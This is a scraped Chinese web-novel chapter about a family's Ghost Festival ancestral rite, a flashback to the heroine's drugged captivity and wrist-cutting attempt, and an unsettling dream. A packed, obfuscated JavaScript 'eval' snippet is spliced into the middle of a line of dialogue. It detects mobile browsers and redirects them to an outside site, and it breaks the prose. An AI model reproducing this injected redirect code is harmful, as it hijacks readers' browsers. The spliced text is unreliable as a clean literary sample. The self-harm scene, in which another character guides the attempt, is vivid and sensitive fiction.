默认冷灰
24号文字
方正启体

15. 第 15 章

作者:甜沐本书字数:K更新时间:
    祝家宗族祠堂,在洲安北郊的一处风景区,修缮得恢弘肃穆。


    此地依山傍水、风景秀美,完美印证风水构造,不少达官贵人亦在此处修建宗祠。


    上午祝家在私人墓地里祭拜完毕,下午则在宗祠里进行专场法事。


    自祝老爷子去世以后,祝老太太对于宗教极为尊重,不仅尊重东方佛道,西方基督□□,她统统信仰。


    觉得祝家能有今天,自己能活到现在,全靠各路神仙庇佑。


    一天二十四小时,除却吃喝休息,各个宗教的礼仪朝拜一遍,一天就过去了。


    以往祝夫人燕媛,是最瞧不上这些。


    但这几年身体每况愈下,人多病就会忧思,不得不开始怀疑一些人事以外,便由得祝老太太折腾去了。


    七月十五的祭祖,在宗祠办得不像法会,倒像是各路能士斗法。


    一片乌烟瘴气里,燕媛神色浅淡,像是在看一场闹剧。


    她雍容华贵依旧,最近病情好转,气色不错。


    见祝陶浮前来,象征性地同她打招呼,再无其余过问。


    而祝启鸿身为当家长子,却是个没主见的,除了在男女之事上由着自己的性子,其他的都听凭燕媛吩咐。


    两人疏离得不像父母,还不如招待客人热络。


    毕竟,一件用来交换利益的工具而已,不用在意她的感受。


    与梁氏的联姻尽管给祝家带来资源,其实不是祝家夫妇的首选。


    梁以盏此人,太不可控了,与虎谋皮,绝非长久之计。


    所幸这种天生凉薄的孤煞之星,与祝陶浮不过是出于新鲜感的玩玩而已。


    时间一久,自然而然散了。


    趁着订婚期存续,最大限度攫取利益,到时候再找个好控制的、豪门圈内,把祝陶浮再嫁换过去。


    祝家夫妇打得这手算盘,与祝峥的筹谋有异曲同工之处。


    同在同为利用祝陶浮的姻缘,异在祝峥企图借梁以盏的手,除掉燕媛及祝家一派的老旧沉疴。


    因此,祝峥希望,祝陶浮和梁以盏,能走到最后。


    祝家祠堂,除了祝老太太对着灵位真切哀悼,底下一干人等心思各异,表面尊重哀悼,实则走个过场了事。


    其余旁系一干人等,有的是跟着老大,传统不变的老派思想吃肉喝汤;有的则是眼光毒辣,看中了祝峥韬光养晦的这支潜力股。


    与祝启鸿交好的对祝陶浮没什么好脸色,站在祝峥身后的亲戚,面上还是与祝陶浮礼貌问好。


    在正式开始以前,三三两两各自分散着闲聊,一场祭祖反而像是一场交际宴会,就差来点香槟酒水助兴。


    香火阵阵、祝祷声声,面对列祖列宗的牌位,祝峥和祝陶浮站在祝家小辈行列,依次进行跪拜。


    “其实我以为,你今天不会过来。”祝峥立于她身侧,低声与她谈论。


    “顶着梁以盏这个名头,你不想来,没人会勉强。”


    所以祝陶浮前来,从某种程度上,相当于代表着梁家,同祝峥交好。


    哪怕是心知肚明的虚假联姻,至少没有到撕破脸皮的地步,表面关系依旧维系存续。


    抬眸望着眼前神像,祝陶浮平静地说:“毕竟,当初订婚前夕,你帮了我。”


    祝峥笑了,有些感叹道:“你真的……”


    “都是流着祝家的血,就你不像祝家的人。”他说。


    “太心软了,是会被拿捏的。”感慨归感慨,不妨碍祝峥半真半假,是提醒,也是威胁。


    不知道是没听到,还是听到了装作不懂,祝陶浮始终神色平静,像是在认真进行祭拜祷告。


    --


    在她刚满十八岁,祝家便迫不及待地要将她推出去进行利益捆绑。


    无论她如何抗争,到底是个刚成年的小姑娘,被祝家下药迷晕强行送给权贵。


    挣脱不得,祝陶浮想得很开。


    手脚被束缚住,祝陶浮用尽全身仅剩的一丝力气,将手腕上绳串的平安扣,在墙上撞碎。


    那是梁以盏不告而别以前,送给她的生日礼物。


    平安扣不再平安,玉石四分五裂,祝陶浮侧倒在地板,艰难地往狼藉处挪动。


    手掌奋力捏起一块碎玉片,坚硬玉石把柔软掌心磨出模糊血肉,刺痛令她短暂地恢复些许意识。


    下药后的力气,以及薄遂玉片,不足以割开手上的绳索。


    她也没想解开,而是握着带血的碎玉,往下对准了手腕内侧,那条黛青色的血管。


    算是另一种解脱,她想。


    骤然间,房门砰地被从外打开。


    在看清屋内状况后,来人迅速冲过来,夺过她手里的碎玉。


    祝峥翻看她的手,发现血是出自掌心,而不是腕部的动脉,提起来的那颗心,才舒口气,放了下来。


    祝峥半跪在她身侧,解开手上的绳索。


    黑发如瀑散乱,眼睫颤抖似折了翅的蝶,苍白脆弱又破碎美丽,任谁都不忍心打搅。


    但祝峥没有时间给她缓和,他一手捏住她瘦弱下颌,一手重新将瓷片举至她眼前。


    “祝陶浮,知道我是谁吗。”祝峥不是怜香惜玉的人,狠狠地掐着她脸颊晃了晃,令她强行睁开眼。


    秀丽眉眼紧紧蹙着,祝陶浮眼皮颤了颤,才艰难地睁开双眸。


    “知道的话,点个头。”


    见她实在是没有力气说话,祝峥换了个方式询问。


    感觉到手边,祝陶浮的发丝,轻轻地蹭了一下,祝峥便继续往下讲。


    “活着很难,死太容易了,你要想死,我不拦你。”


    “我一直好奇,你能瞒着祝家,回栖梧上大学,祝家就算后来知道了,也没有强行阻挠你退出。”


    “这当然不是他们良心发现,而是另有他人运作,甚至背景在祝家至上,所以我也查不到是谁。”


    “不过现在,他自己找上门来了。”


    说着,他将小块碎玉,重新放回她的掌心。


    “但这条路也并不好走,梁氏的水比祝家更深,说不定还是落到今日这步田地。”


    “虽生不如死,总归换了个活法。”


    发现祝陶浮没有力气,祝峥顺带好心地握住她手掌,捏着碎玉的冰凉指尖,搭在尚且微弱跳动的腕部脉搏。


    “你看,是换条路,还是到此结束。”


    在祝峥贴切地帮助下,祝陶浮再没有力气,此时只消指尖微蜷,轻轻一划,动脉的血液便会开始流动,而生命就在此刻终止。


    --


    七月十五,鬼门大开,百鬼夜行。


    中午祝氏一大家已经聚餐,下午趁着太阳落山以前,纷纷离开宗祠。


    回去路上,祝峥将祝陶浮送至她说的地铁口。


    暂时还未将她现在和梁以盏同住屋檐下的事情告知,祝陶浮按照过去在科技园的实习报了个地址。


    夏秋之交,昼长夜短,祝陶浮辗转几路、走出地铁,夕阳余晖依然缀在天边,泛着将褪未去的亮光。


    集体性的寺庙道观,私人家的宗庙祠堂,白日里是香火连绵。


    到了傍晚,火光换了个地方,从里延伸到外。


    许多居民在街边、十字路口,开始各自画上一个又一个香灰圈,写上亡人姓名,拿出打火机点燃买来的纸钱,以寄哀思。


    小心地避让燃烧的黑圈,祝陶浮到家时,天色才逐渐开始黯淡。


    客厅里灯光暖色融融,餐厅里浅浅飘出晚间烟火气,驱散了节日里的寂寥冷清。


    “你今天,下班挺早。”


    祝陶浮站在玄关,发现梁以盏已然洗完澡、换上家居服,坐在沙发上敲着笔电忙碌。


    “嗯,你说过的,中元节早些回去,不要做孤魂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116796|195915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    野鬼。”梁以盏平静说。


    本来打算晚上再整理一下明天比赛的数据,通宵外加奔波了一天,眼皮实在沉重。


    祝陶浮吃过晚饭,早早回房休息。


    偶然的有些时候,祝陶浮做梦,会在梦境里有自我意识,而没有随着荒诞梦魇飘散。


    比如今晚,沉睡以后,她能清晰感觉到,自己是在梦里。


    她梦见了自己的母亲,那时候她还没有生病,容颜漂亮年轻,没有被病痛折磨得疲惫消瘦。


    母亲和她窝在出租屋的沙发里,用廉价的投影仪播放着游戏比赛。


    没有时间打游戏,但祝陶浮很喜欢看比赛。


    母亲看不懂,却笑眯眯地耐心听她讲解。


    很平淡的日常,祝陶浮却拥有自我意识,仿佛是作为旁观者,而无声地流着眼泪。


    她唤了一声妈妈,母亲低头笑笑。


    常年劳碌没有保养的掌心有些粗糙,却温柔地抚摸着自己头顶。


    祝陶浮还没来得及倾诉更多的话语,下一秒,画面如同时空撕裂般,坠入暴雨的夜。


    老旧巷子里灯光破败、路面漆黑,雨水淋湿透彻,祝陶浮分不清脸上是雨还是泪。


    眼前清冷少年挡住去路,似乎是刚解决完一场惊心动魄的厮杀,眼底泛着和手背一样的猩红血痕,朝自己一步一步逼近。


    “你不是说,中元节不要做孤魂野鬼,你怎么在这。”梁以盏掀起眼眸,无波无澜地看过来。


    “嗯,不说话。”他语调平淡,修长手掌慢慢攀附在她颈侧。


    指腹稍微用力,能感受到薄透瓷白的皮肤下,细微跳动的脉搏。


    手指再一收紧,脆弱血管便会和她的心脏一样,停止跳动。


    湿冷阴戾如有实质般漫了过来,祝陶浮呼吸一滞,却还是紧抿牙关,死活没有松口。


    鬼节的夜晚,是不能叫活人姓名。


    可对方偏不让她如意,似是挑逗、也是探寻,流连在她咽喉的手指,渐渐往上,就快要抚摸于唇间。


    祝陶浮侧偏过头,下颌碰到一个冰冷物件,是他中指上的银戒。


    按照时间线,此时梁以盏并没有这枚戒指,因为她余光里瞥见,对面制服上分明是染了血的校园徽章。


    比雨水还要冷冽的气息,倾洒在锁骨颈窝。


    梁以盏更靠近了一步,薄唇几乎贴靠着她耳垂,仿佛在轻轻叹息。


    “是不愿意,还是不敢。”


    --


    下午一点半,QSG基地,队员们收拾外设准备前往比赛现场。


    训练室里,祝陶浮呆坐在显示屏前,显得有些魂不守舍。


    “小祝,不用过于紧张,你已经做得很好了。”


    教练以为她是面对第一场比赛,很是担心,所以走过来安慰道。


    其他队员们见状,也纷纷鼓励,祝陶浮的数据分析已经堪称完美,但今天既然选择尝试新体系,比赛肯定会状况频出。


    “高风险,高收益,玩点股票的都知道这个道理。”大巴已经停在基地门口,领队进屋,敲了敲训练室的门,提醒大家出发。


    “QSG一定会拿下胜利。”


    祝陶浮冲他们笑了笑,说:“加油,我在基地,等你们好消息。”


    祁招最后一个离开,瞥了她一眼,忽然与众不同地来了一句:“难看死了。”


    昨晚没睡好,的确有些憔悴,祝陶浮以为他在说自己强颜欢笑。


    “我是说,你那镯子。”


    经他一提,祝陶浮明了,是梁以盏戴在她手上、内里雕刻经文的银镯。


    祝陶浮不明所以,抬起手瞧了瞧:“辟邪用的,还好吧。”


    从外人角度,就是一个平平无奇的素圈,说不上多好看,也绝对不算丑。


    轻嗤了声,祁招半真半假调侃:“是吗,怕不是人鬼情未了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)